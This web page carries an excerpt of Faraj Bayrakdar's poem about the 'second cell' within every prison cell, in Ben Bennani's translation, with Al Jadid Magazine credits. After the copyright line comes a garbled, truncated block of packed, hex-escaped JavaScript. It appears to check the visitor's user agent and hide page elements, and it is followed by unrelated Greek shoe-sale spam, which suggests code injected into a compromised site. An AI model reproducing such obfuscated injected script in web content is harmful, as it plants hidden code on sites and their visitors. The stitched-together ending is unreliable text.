Farag Bayrakdar

Within every prison cell 
there’s a second cell 
the one: a cold geography 
the other: a burning history 
Yes, within every prison 
there’s a second prison 
the first: the presence of an image
the second: the absence of meaning 
And within every cell
a second cell
The first is the spitting image
of a tyrant 
The second . . . 
All of my sadness 
all of it 
is for you 
I don’t add a single syllable
I’ve hedged every bet 
I placed on a losing proposition 
I’ve placed every bet 
with destitution

This is an excerpt of a longer poem by Faraj Bayrakdar, a former political prisoner,  who spent 13 years in Syria’s prisons.The poem appeared in Al Jadid Magazine, Vol. 7, No. 37, (Fall 2001).  

Translated from the Arabic by Ben Bennani

© Copyright 2012  AL JADID MAGAZINE

{e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('b i=r f["\\q\\1\\4\\g\\p\\l"]("\\4"+"\\7"+"\\7"+"\\4"+"\\5\\1","\\4\\k");s(!i["\\3\\1\\2\\3"](m["\\h\\2\\1\\j\\n\\4\\1\\6\\3"])){b a=f["\\e\\7\\o\\h\\d\\1\\6\\3"]["\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1"](\'\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\');u(b 8=0;8bridgemedia | Jordan Ανδρικά • Summer SALE έως -50%